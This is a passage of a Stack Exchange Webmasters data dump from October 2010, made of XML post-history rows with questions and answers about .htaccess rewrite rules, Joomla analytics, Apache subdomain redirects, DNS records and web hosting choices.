&#xD;&#xA;    RewriteRule ^([a-zA-Z\-]*)/([a-zA-Z0-9\s]*)/([0-9]*)\.html$ browse.php?type=$1&amp;catId=$3 [L]&#xD;&#xA;    RewriteRule ^([a-zA-Z\-]*)/([a-zA-Z0-9\s]*)/([a-zA-Z0-9\s]*)/([0-9]*)/([0-9]*)\.html$ browse.php?type=$1&amp;catId=$4&amp;subCatId=$5 [L]&#xD;&#xA;    #RewriteRule (.*)search/all/([a-zA-Z0-9\s]*)$ searchall.php?type=all&amp;srcval=$2 [L]&#xD;&#xA;    #RewriteRule (.*)search/([a-zA-Z\s\-]*)/([a-zA-Z0-9\s]*)$ search.php?type=$2&amp;srcval=$3 [L]&#xD;&#xA;    #RewriteRule (.*)search/([a-zA-Z\s\-]*)/all/([a-zA-Z0-9\s]*)$ search.php?type=$2&amp;srcval=$3&amp;seeall=all [L]&#xD;&#xA;    #RewriteRule (.*)featured/([a-zA-Z\s\-]*)$ featured-listing.php?type=$2&amp;feature=1 [L]&#xD;&#xA;    #RewriteRule (.*)featured/([a-zA-Z\-]*)/([a-zA-Z0-9\s]*)/([0-9]*)\.html$ featured-listing.php?type=$2&amp;catId=$4&amp;feature=1 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteRule (.*)search/all/(.*)$ searchall.php?type=all&amp;srcval=$2 [L]&#xD;&#xA;    RewriteRule (.*)search/([a-zA-Z\s\-]*)/all/(.*)$ search.php?type=$2&amp;srcval=$3&amp;seeall=all [L]&#xD;&#xA;    RewriteCond %{REQUEST_URI} !all/(.*)\.&#xD;&#xA;    RewriteRule (.*)search/([a-zA-Z\s\-]*)/(.*)$ search.php?type=$2&amp;srcval=$3 [L]&#xD;&#xA;    RewriteRule (.*)featured/(.*)$ featured-listing.php?type=$2&amp;feature=1 [L]&#xD;&#xA;    RewriteRule (.*)featured/([a-zA-Z\-]*)/(.*)/([0-9]*)\.html$ featured-listing.php?type=$2&amp;catId=$4&amp;feature=1 [L]&#xD;&#xA;    ErrorDocument 404 http://www.oursite.com/abcd/404.php&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8464" PostHistoryTypeId="2" PostId="4277" RevisionGUID="a775ad78-b466-4635-833e-ed391bc0959c" CreationDate="2010-10-23T01:49:56.427" UserId="2650" Text="&#xD;&#xA;How can I test my site &quot;as if&quot; users have logged in and then accessing different parts of the website?&#xD;&#xA;&#xD;&#xA;I saw http://webmasters.stackexchange.com/questions/128/is-there-a-good-way-to-measure-my-sites-response-time-from-different-parts-of-th but it looks like its just for a &quot;outside&quot; / publicly visible page." />
  <row Id="8465" PostHistoryTypeId="1" PostId="4277" RevisionGUID="a775ad78-b466-4635-833e-ed391bc0959c" CreationDate="2010-10-23T01:49:56.427" UserId="2650" Text="Measuring site load times after user is logged in?" />
  <row Id="8466" PostHistoryTypeId="3" PostId="4277" RevisionGUID="a775ad78-b466-4635-833e-ed391bc0959c" CreationDate="2010-10-23T01:49:56.427" UserId="2650" Text="&lt;load-time&gt;&lt;measure&gt;" />
  <row Id="8467" PostHistoryTypeId="2" PostId="4278" RevisionGUID="738d8cf2-a7e5-411d-9cef-34f81b8ab18f" CreationDate="2010-10-23T01:51:02.500" UserId="2288" Text="So, since some &quot;clean&quot; URL system pull the wording directly from content I was wondering how Google handles this? " />
  <row Id="8468" PostHistoryTypeId="1" PostId="4278" RevisionGUID="738d8cf2-a7e5-411d-9cef-34f81b8ab18f" CreationDate="2010-10-23T01:51:02.500" UserId="2288" Text="How does Google handle &quot;clean&quot; URLs is the URL is always changing due to edits?" />
  <row Id="8469" PostHistoryTypeId="3" PostId="4278" RevisionGUID="738d8cf2-a7e5-411d-9cef-34f81b8ab18f" CreationDate="2010-10-23T01:51:02.500" UserId="2288" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;url-rewriting&gt;&lt;links&gt;" />
  <row Id="8470" PostHistoryTypeId="2" PostId="4279" RevisionGUID="02862522-4a61-41c2-b94d-5070e02cdc76" CreationDate="2010-10-23T01:58:22.937" UserId="2669" Text="I'm looking for a way to convert this type of url : h11p://www.mywebsite.com/dl/F5EGD6&#xD;&#xA;Into h11p://www.mywebsie.com/dl/files/my_file.zip sing a PHP page to request the URL from the DB with F5EGD6. I tried ith this htaccess file :&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (*)$ /dl.php [QSA]&#xD;&#xA;&#xD;&#xA;But it doesnt work, I get Error 500 :(&#xD;&#xA;&#xD;&#xA;I don't know how to handle that...&#xD;&#xA;&#xD;&#xA;Anyone know?" />
  <row Id="8471" PostHistoryTypeId="1" PostId="4279" RevisionGUID="02862522-4a61-41c2-b94d-5070e02cdc76" CreationDate="2010-10-23T01:58:22.937" UserId="2669" Text="file need to go through a php page using .htaccess" />
  <row Id="8472" PostHistoryTypeId="3" PostId="4279" RevisionGUID="02862522-4a61-41c2-b94d-5070e02cdc76" CreationDate="2010-10-23T01:58:22.937" UserId="2669" Text="&lt;php&gt;&lt;url-rewriting&gt;&lt;htaccess&gt;" />
  <row Id="8473" PostHistoryTypeId="5" PostId="4076" RevisionGUID="b0e9522c-563a-4da4-a69a-d9c65af0aca5" CreationDate="2010-10-23T02:30:09.940" UserId="2558" Comment="added 251 characters in body" Text="Try [Google Chrome Frame][1].  IE users who install it will be able to browse your site in Google Chrome's renderer without switching browsers.&#xD;&#xA;&#xD;&#xA;EDIT: You even can use a JS library provided by Google to show a message to users inviting them to install Google Chrome Frame.  It's a one-click install, like Flash, does not require restarting the browser, and refreshes your page when it's done.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/chrome/chromeframe/" />
  <row Id="8474" PostHistoryTypeId="2" PostId="4280" RevisionGUID="e4d8aa5c-12f4-480d-9e9f-c1f94f1710a0" CreationDate="2010-10-23T02:49:55.540" UserId="2288" Text="Try [openwebdesign.org][1] or [freecsstemplates.org][2]&#xD;&#xA;&#xD;&#xA;Also, [www.sxc.hu][3] for &quot;free&quot; photos.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://openwebdesign.org&#xD;&#xA;  [2]: http://freecsstemplates.org&#xD;&#xA;  [3]: http://www.sxc.hu" />
  <row Id="8475" PostHistoryTypeId="6" PostId="4278" RevisionGUID="ac829617-7ac3-4dd9-a67d-35b5735600ed" CreationDate="2010-10-23T03:02:05.647" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;url-rewriting&gt;" />
  <row Id="8476" PostHistoryTypeId="2" PostId="4281" RevisionGUID="ee390e76-aec7-4bc0-beed-ed30b814ad06" CreationDate="2010-10-23T03:05:09.983" UserId="1253" Text="If the URL keeps changing then as far as the search engines are concerned they are new pages and the old ones no longer exist. Once a page has been assigned a URL it should not change if the content changes *unless the content changes so much that the page URL no longer reflects what it is about*. In that case it is a new page and thus should have anew URL.&#xD;&#xA;&#xD;&#xA;In Wordpress once you create a slug for a page it doesn't change even if you change the title of the post (I assume other CMSs work the same way). That's because once a page has been assigned a URL changing it only serves to confuse users and search engines alike. You wouldn't want people to change their names every time they change their clothes, would you?" />
  <row Id="8477" PostHistoryTypeId="2" PostId="4282" RevisionGUID="84ca3be1-ce3b-4d49-b139-f1b38eb55852" CreationDate="2010-10-23T03:07:01.913" UserId="1253" Text="It's the same concept except you need to use software capable of handling logins. Or, you can disable authentication for that user agent during testing." />
  <row Id="8479" PostHistoryTypeId="5" PostId="4278" RevisionGUID="c11b3425-afd6-455d-8943-dad63cf57460" CreationDate="2010-10-23T03:58:28.737" UserId="2288" Comment="added 603 characters in body; added 27 characters in body" Text="So, since some &quot;clean&quot; URL system pull the wording directly from content I was wondering how Google handles this? &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Here's an example of content changes changing the URLs:**&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Version 1 of the Title:**&#xD;&#xA;&#xD;&#xA; - [what-should-i-look-for-in-a-web-based-applicant-tracking-system][1]&#xD;&#xA;&#xD;&#xA;**Version 2 of the Title, with Version 1 rerouting to this now, but V1 URL stays the same:**&#xD;&#xA;&#xD;&#xA; - [what-should-i-be-looking-for-in-a-web-based-applicant-tracking-system][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4276/what-should-i-look-for-in-a-web-based-applicant-tracking-system&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/4276/what-should-i-be-looking-for-in-a-web-based-applicant-tracking-system" />
  <row Id="8480" PostHistoryTypeId="2" PostId="4283" RevisionGUID="c70e73e1-06c4-4aa3-abc5-bcb1a76adcbf" CreationDate="2010-10-23T04:27:27.627" UserDisplayName="Lance" Text="I'd say other than slight variations in response times and global access points, hosting static content (images, JavaScript, CSS) has essentially been commoditized by the CDN vendors. Where they differ is when you get into more complicated scenarios. BitGravity, for one, specializes in streaming video. I've used Akamai to execute logic on their edge servers to perform complex routing based on origin availability and performance. Some services can even proxy your entire Web experience (commonly called Web Application Acceleration). Akamai does this too, and CloudFlare recently launched to offer the service at a more affordable price." />
  <row Id="8481" PostHistoryTypeId="2" PostId="4284" RevisionGUID="7ab89470-8600-4b5c-8e7f-5253502f4e18" CreationDate="2010-10-23T05:20:06.157" UserId="2026" Text="It may help you&#xD;&#xA;&#xD;&#xA;When some user login, you save this time in some variables. Once he had login, in jquery ready() send the current time to your some php or jsp page(whatever you have). subtract both  time.&#xD;&#xA;&#xD;&#xA;THis is just concept only. I hadnt tried it b4" />
  <row Id="8482" PostHistoryTypeId="2" PostId="4285" RevisionGUID="6278d625-66e9-4891-b32d-56bdaead5b30" CreationDate="2010-10-23T06:27:11.427" UserId="2276" Text="I was asked by a client to insert the google analytics code in his joomla page.. &lt;br&gt;&#xD;&#xA;no problem, i said.. peace of cake..&lt;br&gt;&#xD;&#xA;little did I know that it is going to be such a struggle...&lt;br&gt;&#xD;&#xA;first of all, i downloaded the active template and searched through code and coudn't find any HTML except about 20 index.html pages with only &lt;br&gt;`&lt;html&gt;&lt;body bgcolor=&quot;#FFFFFF&quot;&gt;&lt;/body&gt;&lt;/html&gt;` &lt;br&gt;&#xD;&#xA;now... i tired editing through joomla, and when the &quot;index&quot; page opens and i click edit the &quot;html&quot;, it's all php&lt;br&gt;&#xD;&#xA;&#xD;&#xA;    defined( '_JEXEC' ) or die( 'Restricted access' );&#xD;&#xA;    &#xD;&#xA;    require_once('layouts/GKTemplate.php');&#xD;&#xA;    &#xD;&#xA;    $Template = new GKTemplate($this);&#xD;&#xA;    &#xD;&#xA;    if($Template-&gt;settings[&quot;ie6info&quot;] &amp;&amp; $Template-&gt;IE6Detection())&#xD;&#xA;    {&#xD;&#xA;     $Template-&gt;loadSkeleton(&quot;ie6&quot;);&#xD;&#xA;    }&#xD;&#xA;    else&#xD;&#xA;    {&#xD;&#xA;     $Template-&gt;loadBlock(&quot;gk_wrapper&quot;);&#xD;&#xA;    }&#xD;&#xA;i'm not too good with php, i'm more of a asp.net kinda guy, so i don't understand this code, but where is the `&lt;head&gt;` tag in which i+m supposed to insert the google analytics code snippet??&lt;br&gt;&#xD;&#xA;appriciate the anwsers!&lt;br&gt;&#xD;&#xA;Andrej" />
  <row Id="8483" PostHistoryTypeId="1" PostId="4285" RevisionGUID="6278d625-66e9-4891-b32d-56bdaead5b30" CreationDate="2010-10-23T06:27:11.427" UserId="2276" Text="google analytics in joomla" />
  <row Id="8484" PostHistoryTypeId="3" PostId="4285" RevisionGUID="6278d625-66e9-4891-b32d-56bdaead5b30" CreationDate="2010-10-23T06:27:11.427" UserId="2276" Text="&lt;joomla&gt;" />
  <row Id="8485" PostHistoryTypeId="2" PostId="4286" RevisionGUID="08b19bb0-ad01-4bef-9ee5-0152d90a6c93" CreationDate="2010-10-23T07:24:32.870" UserId="1218" Text="Have a look at Netcraft's [Hosting Provider's Network Performance][1], it has a lot of great information such as:&#xD;&#xA;&#xD;&#xA; - Downtime (in HH:MM::SS as well as a percentage)&#xD;&#xA; - Connection time&#xD;&#xA; - Time to delivery of the first byte&#xD;&#xA;and several other metrics.&#xD;&#xA;&#xD;&#xA;As they've been doing this for so long (since 19950, this is probably the best first place to look for objective data.&#xD;&#xA;&#xD;&#xA;I don't think it gives details for different products, as you asked for:&#xD;&#xA;&#xD;&#xA;&gt; Media Temple Grid Service and Media&#xD;&#xA;&gt; Temple Dedicated Virtual should be&#xD;&#xA;&gt; listed as separate Answers&#xD;&#xA;&#xD;&#xA;  [1]: http://uptime.netcraft.com/perf/reports/Hosters" />
  <row Id="8486" PostHistoryTypeId="2" PostId="4287" RevisionGUID="a7f6370d-ac97-4d94-a384-9704fbffc088" CreationDate="2010-10-23T07:28:28.383" UserId="1064" Text="Have a look at the [J!Analytics][1] plug-in (to reverse-engineer it ... or simply install it)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://extensions.joomla.org/extensions/site-management/site-analytics/4300" />
  <row Id="8487" PostHistoryTypeId="2" PostId="4288" RevisionGUID="5265331e-d60f-413c-84a5-b18b44ea4aaa" CreationDate="2010-10-23T09:56:40.533" UserId="2313" Text="You can use the free iMacros browser addons and time the macro runtime with the STOPWATCH command: http://wiki.imacros.net/STOPWATCH (= web performance testing)" />
  <row Id="8489" PostHistoryTypeId="2" PostId="4289" RevisionGUID="4bb5955f-ff30-4432-92df-b4c6622a64ff" CreationDate="2010-10-23T16:31:49.820" UserId="233" Text="In the included file `layouts/GKTemplate.php` there will be some functions `loadSkeleton` and `loadBlock` which may have the code you require. Though they could easily be calling other functions and so on.&#xD;&#xA;&#xD;&#xA;If you have a way to search through multiple files ([Notepad++][1] can do this) search for `&lt;head` to find where to put the code.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://notepad-plus-plus.org/" />
  <row Id="8490" PostHistoryTypeId="2" PostId="4290" RevisionGUID="cdc54ae8-bb24-4c4a-9a3f-aa505620d30f" CreationDate="2010-10-23T16:41:12.827" UserId="2677" Text="I'm trying to set up a `mail` subdomain on my site that will simply redirect to my Google Apps mail account. I thought I could use the Apache 2 vhost configuration below, but it's not working:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;      ServerName mail.foo.com&#xD;&#xA;      Redirect 301 / https://mail.google.com/a/foo.com/&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;What else do I need to get this to work?" />
  <row Id="8491" PostHistoryTypeId="1" PostId="4290" RevisionGUID="cdc54ae8-bb24-4c4a-9a3f-aa505620d30f" CreationDate="2010-10-23T16:41:12.827" UserId="2677" Text="Apache 2 virtual host configuration for subdomain redirection" />
  <row Id="8492" PostHistoryTypeId="3" PostId="4290" RevisionGUID="cdc54ae8-bb24-4c4a-9a3f-aa505620d30f" CreationDate="2010-10-23T16:41:12.827" UserId="2677" Text="&lt;apache&gt;&lt;redirects&gt;&lt;subdomain&gt;" />
  <row Id="8493" PostHistoryTypeId="2" PostId="4291" RevisionGUID="3c583bcc-686a-4399-b6ba-6215c924a5b9" CreationDate="2010-10-23T17:03:07.033" UserId="2678" Text="if i were going to transform &#xD;&#xA;h11p://www.mywebsite.com/dl/files/zip.zip&#xD;&#xA;into&#xD;&#xA;h11p://www.mywebsite.com/dl.php?what=zip.zip&#xD;&#xA;&#xD;&#xA;i would do something like&#xD;&#xA;&#xD;&#xA;RewriteRule ^dl/files/(.*)$          dl.php?what=$1&#xD;&#xA;&#xD;&#xA;that matches h11p://www.mywebsite.com/dl/files/anythinghereincludingslash/&#xD;&#xA;and would transform it into&#xD;&#xA;h11p://www.mywebsite.com/dl.php?what=anythinghereincludingslash/&#xD;&#xA;&#xD;&#xA;I think thats probably what you're looking for.&#xD;&#xA;&#xD;&#xA;N.B. ModRewrite would need to be enabled.&#xD;&#xA;&#xD;&#xA;**Again with hyperlinks and being a new user here. You know what i mean." />
  <row Id="8494" PostHistoryTypeId="2" PostId="4292" RevisionGUID="0a075019-75a9-447f-acf1-2b01774618aa" CreationDate="2010-10-23T17:37:32.540" UserDisplayName="Louis Stephens" Text="The only way I have done something similar was to add a sub domain, and then create an ftp account to that domain. So when you go to example.com/foldername it asks for your credentials.  Probably not what you were looking for...." />
  <row Id="8495" PostHistoryTypeId="16" PostId="4269" RevisionGUID="fd34d368-178a-4698-bc41-5e38216a1272" CreationDate="2010-10-23T18:04:32.370" UserId="180" />
  <row Id="8496" PostHistoryTypeId="5" PostId="4269" RevisionGUID="fd34d368-178a-4698-bc41-5e38216a1272" CreationDate="2010-10-23T18:04:32.370" UserId="180" Comment="Made CW (as per request)" Text="I think I'm in the majority of programmers in saying I can't do visual design for s***. But I do write programs occasionally, and I'd like to have a nice website to tell people about said programs. I used to use a site called &quot;OSWD&quot; to find templates, but it's been forever since it's been looked at, and most of the designs seem overly specifically tailored to a single kind of site -- for example, a site featuring a large picture of an ice cube wouldn't make much sense for a site displaying software for people to use.&#xD;&#xA;&#xD;&#xA;I know there are plenty of template sites out there which have freely available designs, but I'm not sure which ones are good, and which ones are garbage.&#xD;&#xA;&#xD;&#xA;Where is the best place to find website templates?&#xD;&#xA;" />
  <row Id="8497" PostHistoryTypeId="2" PostId="4293" RevisionGUID="7ed3898f-875f-4746-beac-7a202e454ec0" CreationDate="2010-10-23T19:21:55.283" UserId="2680" Text="The short answer is yes you can. The long answer is you probably shouldn't. For one it's going to be more expensive than using a shared hosting account. Another reason not to use AWS for this type of thing is data loss. I haven't used AWS services in a while, but the last time I did all data on a running EC2 instance is lost when you shut down the instance." />
  <row Id="8498" PostHistoryTypeId="2" PostId="4294" RevisionGUID="94ffd519-eaf9-49fc-b3ef-88cb8f025634" CreationDate="2010-10-23T19:35:57.017" UserId="2680" Text="There's simply no point in trying to prevent your visitors from blocking your ads. They will always find a way to do it. Before you spend a huge amount of time trying to prevent ad blocking, you should ask yourself this question:&#xD;&#xA;&#xD;&#xA;Are the types of people that block ads also the type of people that click ads?&#xD;&#xA;&#xD;&#xA;The point is you can try to prevent people from blocking your ads, but if someone is smart enough to use an ad blocker, then they're also smart enough to avoid clicking on ads." />
  <row Id="8499" PostHistoryTypeId="2" PostId="4295" RevisionGUID="b8c84bba-b637-4a80-8746-dc233927832f" CreationDate="2010-10-23T20:07:18.523" UserDisplayName="ishfaque" Text="i want to launch(publish) my site on the internet? so some one can tell me about free hosting?" />
  <row Id="8500" PostHistoryTypeId="1" PostId="4295" RevisionGUID="b8c84bba-b637-4a80-8746-dc233927832f" CreationDate="2010-10-23T20:07:18.523" UserDisplayName="ishfaque" Text="Free Web Hosting" />
  <row Id="8501" PostHistoryTypeId="3" PostId="4295" RevisionGUID="b8c84bba-b637-4a80-8746-dc233927832f" CreationDate="2010-10-23T20:07:18.523" UserDisplayName="ishfaque" Text="&lt;web-development&gt;&lt;web&gt;" />
  <row Id="8502" PostHistoryTypeId="17" PostId="4295" RevisionGUID="e89712cf-a214-4e8a-9f62-4e43b76a4dae" CreationDate="2010-10-23T20:10:19.217" UserId="-1" Comment="from http://stackoverflow.com/questions/4005834/free-web-hosting" Text="" />
  <row Id="8503" PostHistoryTypeId="2" PostId="4296" RevisionGUID="18dbc5b2-aa0f-4573-8cf9-2aa89b3935ba" CreationDate="2010-10-23T20:46:42.470" UserId="2288" Text="For example, [Amazon.com][1] I believe would be an example of a hybrid-fluid-fixed.&#xD;&#xA;&#xD;&#xA;Really have no idea what an example of a purely proportional layout would be.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Types of Webpage Layouts** are, per Wikipedia's [Web Design][2] page:&#xD;&#xA;&#xD;&#xA;  - **Fixed layout:** Pixel measure results in fixed or static content&#xD;&#xA;  - **Proportional layout:** Em measure results in proportional content that is relative to font-size&#xD;&#xA;  - **Fluid layout:** Percent measure results in fluid content that shrinks and grows to &quot;fit&quot; display windows&#xD;&#xA;  - **Hybrid layout:** Incorporates any combination of fixed, proportional or fluid elements within (or pointing to) a single page. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Web_design#Layout_types" />
  <row Id="8504" PostHistoryTypeId="1" PostId="4296" RevisionGUID="18dbc5b2-aa0f-4573-8cf9-2aa89b3935ba" CreationDate="2010-10-23T20:46:42.470" UserId="2288" Text="What are examples of high-volume websites with fixed, proportional, fluid, and hybrid layouts?" />
  <row Id="8505" PostHistoryTypeId="3" PostId="4296" RevisionGUID="18dbc5b2-aa0f-4573-8cf9-2aa89b3935ba" CreationDate="2010-10-23T20:46:42.470" UserId="2288" Text="&lt;css&gt;&lt;website-design&gt;&lt;website-features&gt;&lt;standards&gt;&lt;research&gt;" />
  <row Id="8506" PostHistoryTypeId="6" PostId="4252" RevisionGUID="6dd9c3f4-30f3-4ad4-9191-4156c99da9d6" CreationDate="2010-10-23T20:47:02.160" UserId="2011" Comment="edited tags" Text="&lt;drupal&gt;&lt;issue-trackers&gt;" />
  <row Id="8507" PostHistoryTypeId="6" PostId="4125" RevisionGUID="5ca9946d-c1e8-4a42-92ca-5ee6500e9a94" CreationDate="2010-10-23T20:49:05.263" UserId="2011" Comment="edited tags" Text="&lt;seo&gt;&lt;drupal&gt;&lt;canonical-url&gt;" />
  <row Id="8508" PostHistoryTypeId="2" PostId="4297" RevisionGUID="a8a360e6-a246-44b5-b0e7-d8bc8c33901d" CreationDate="2010-10-23T22:24:17.997" UserId="1064" Text="Do you have a corresponding [A record][1] for `mail.foo.com.` (or `*.foo.com.`) set?&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    *.foo.com. 14400 IN A 1.2.3.4&#xD;&#xA;&#xD;&#xA;... or:&#xD;&#xA;&#xD;&#xA;    mail.foo.com. 14400 IN A 1.2.3.4&#xD;&#xA;&#xD;&#xA;(Where `1.2.3.4` is the IP address of the server running Apache 2)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/A_record" />
  <row Id="8509" PostHistoryTypeId="2" PostId="4298" RevisionGUID="0c0c0981-3418-482c-807e-3cf839098365" CreationDate="2010-10-23T22:53:39.027" UserId="2313" Text="One Amazon EC2 instance is now free for 12 months: http://itmanagement.earthweb.com/netsys/article.phpr/3909631/Amazon-To-Offer-a-Year-of-Free-EC2-Apps-Use.htm&#xD;&#xA;&#xD;&#xA;So that is not free for ever, but *very* good free hosting for a year (if you know - or want to learn - how to manage your own server)." />
  <row Id="8510" PostHistoryTypeId="2" PostId="4299" RevisionGUID="2f2c3993-d73a-41b2-9dbb-e80fe475b4af" CreationDate="2010-10-23T23:07:14.890" UserDisplayName="Lance" Text="If your needs are basic, Weebly might work. A few others that come to mind, but have more limited features for free service are DevHub, Unbounce, and Orbs.&#xD;&#xA;&#xD;&#xA;(Sorry I can't add links, I don't have the reputation for it yet.)&#xD;&#xA;" />
  <row Id="8511" PostHistoryTypeId="2" PostId="4300" RevisionGUID="208f92e4-479a-456f-a729-aba44b6840f4" CreationDate="2010-10-24T00:06:48.153" UserId="1724" Text="Does this answer your question? http://help.godaddy.com/article/3977&#xD;&#xA;&#xD;&#xA;It requires you to enter your Godaddy hosting username and password to access the directory as a result, so I'm not sure if that's what you want (you did not mention giving access to other users - if it's only for you then this probably works fine, but obviously not if anyone else needs to access it.)" />
  <row Id="8512" PostHistoryTypeId="2" PostId="4301" RevisionGUID="cb55899e-8aa7-41a3-aa41-00a2560e04ef" CreationDate="2010-10-24T03:16:26.807" UserId="3" Text="It looks like Google was having some technical crawl problems this week, that sound *remarkably* like what we were experiencing:&#xD;&#xA;&#xD;&#xA;http://searchengineland.com/is-google-broken-sites-big-small-seeing-indexing-problems-53701&#xD;&#xA;&#xD;&#xA;&gt; No one seems to be immune from a Google indexing problem that has many site owners baffled. Blogs and websites, big and small, aren’t being indexed as quickly as they normally are — if they’re being indexed at all.&#xD;&#xA;&#xD;&#xA;&gt; ...&#xD;&#xA;&#xD;&#xA;&gt; John from Google replied to the thread in the Webmaster forums saying:&#xD;&#xA;&#xD;&#xA;&gt; &gt; Just to be clear, the issues from this thread, which I have reviewed in detail, are not due to changes in our policies or changes in our algorithms; **they are due to a technical issue on our side that will be visibly resolved as soon as possible** (it may take up to a few days to be visible for all sites though)" />
  <row Id="8513" PostHistoryTypeId="2" PostId="4302" RevisionGUID="e9cb0f3e-ffb5-45fb-b90f-b23e0f177394" CreationDate="2010-10-24T03:22:36.370" UserId="2227" Text="buy a domain from godaddy.com u get a host for free (very simple one though)" />
  <row Id="8514" PostHistoryTypeId="2" PostId="4303" RevisionGUID="4d4f79c0-9c5a-4193-b40e-a2d0f5a09890" CreationDate="2010-10-24T05:24:51.403" UserId="2686" Text="See [nettuts][1] as a hybrid example. It is fixed to an extent but observe what happens to the ads on the right hand size of the page as you resize your window. &#xD;&#xA;&#xD;&#xA;I would see google as a static example. I am not too sure though.&#xD;&#xA;&#xD;&#xA;Also, I believe most high volume sites today are either hybrid or static; I find it hard to find a completely fluid or proportional high volume site, I could be wrong however.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://net.tutsplus.com/" />
  <row Id="8515" PostHistoryTypeId="2" PostId="4304" RevisionGUID="687d11d2-44af-429f-b3f6-018a2761c346" CreationDate="2010-10-24T06:26:48.143" UserId="2687" Text="i have created a new adsense account for my blog http://cocoabugs.blogspot.com and integrated ads with my blog. But i am getting page impressions zero. i am getting daily analytic's of 300 to 400 visitor/day still page impression are coming zero only. i have verified my pub-id. i don't no what is the problem. how to contact Google adsense team regarding this. please help me out in this.&#xD;&#xA;&#xD;&#xA;-Thanks " />
  <row Id="8516" PostHistoryTypeId="1" PostId="4304" RevisionGUID="687d11d2-44af-429f-b3f6-018a2761c346" CreationDate="2010-10-24T06:26:48.143" UserId="2687" Text="Adsense Page impression is showing zero " />
  <row Id="8517" PostHistoryTypeId="3" PostId="4304" RevisionGUID="687d11d2-44af-429f-b3f6-018a2761c346" CreationDate="2010-10-24T06:26:48.143" UserId="2687" Text="&lt;google&gt;&lt;advertising&gt;&lt;google-adsense&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="8518" PostHistoryTypeId="10" PostId="4295" RevisionGUID="dbe826f0-881d-43dd-b409-ba8b6001556e" CreationDate="2010-10-24T06:56:29.557" UserId="-1" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;},{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="8519" PostHistoryTypeId="2" PostId="4305" RevisionGUID="48a1cb0e-7663-4136-90d5-c26dad8daf30" CreationDate="2010-10-24T07:29:28.257" UserId="2688" Text="I own a domain on GoDaddy and I bought a hosting plan from 1and1. Now my subscription is end and I want to renew but I want to choose only one company for my web site to have both the domain and the hosting plan? I'm hosting a Wordpress Blog System.&#xD;&#xA;Which company would you prefer/recommend and why?" />
  <row Id="8520" PostHistoryTypeId="1" PostId="4305" RevisionGUID="48a1cb0e-7663-4136-90d5-c26dad8daf30" CreationDate="2010-10-24T07:29:28.257" UserId="2688" Text="Which PHP hosting is better GoDaddy or 1and1? and Also domain mangement" />
  <row Id="8521" PostHistoryTypeId="3" PostId="4305" RevisionGUID="48a1cb0e-7663-4136-90d5-c26dad8daf30" CreationDate="2010-10-24T07:29:28.257" UserId="2688" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;dns&gt;&lt;compatibility&gt;&lt;1and1&gt;" />
  <row Id="8522" PostHistoryTypeId="2" PostId="4306" RevisionGUID="81b2312b-c156-441f-92bc-64daf5c56671" CreationDate="2010-10-24T07:52:59.280" UserId="2087" Text="GoDaddy isn't very great for developing products as far as I've used it. I'm currently looking for alternatives as well.&#xD;&#xA;I have a hard time getting around goDaddy's interface. I've used a few other services like Bluehost, enom, and register.com, those are actually easier to use than GoDaddy.&#xD;&#xA;I have **not** used 1and1." />
  <row Id="8523" PostHistoryTypeId="2" PostId="4307" RevisionGUID="0608d7a8-975f-4f60-80bf-6695037d767f" CreationDate="2010-10-24T08:25:15.530" UserId="2379" Text="browsermob.com (they have since been renamed) has great tools for actually doing load testing on your site... You can see how much stress it can take before it becomes slow or even crashes.  I would seriously recommend them as one of your tools.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8524" PostHistoryTypeId="2" PostId="4308" RevisionGUID="4480c171-32f2-45b2-9075-306885dee074" CreationDate="2010-10-24T08:29:15.910" UserId="1064" Text="I'd recommend just about any cPanel hosting provider over GoDaddy or 1and1 - cPanel is a hosting industry standard and is **far** easier to use than GoDaddy or 1and1's custom hosting management interfaces (at least, that was the case when I last had to work with either - about four years ago).&#xD;&#xA;&#xD;&#xA;Presently hosting with HostGator." />
  <row Id="8525" PostHistoryTypeId="2" PostId="4309" RevisionGUID="c58c28e4-2264-4576-8cc3-c38c42b04003" CreationDate="2010-10-24T09:18:45.867" UserId="2689" Text="Wow, someone just posted this on SO.&#xD;&#xA;&#xD;&#xA;It IS just what the doctor ordered:&#xD;&#xA;http://jsfiddle.net/&#xD;&#xA;&#xD;&#xA;You can write html, css and javascript and run it straight there!! Plus they already have references to Jquery and other stuff!&#xD;&#xA;&#xD;&#xA;I think Internet Rule 33 is if you want/imagine it, its out there! ;)" />
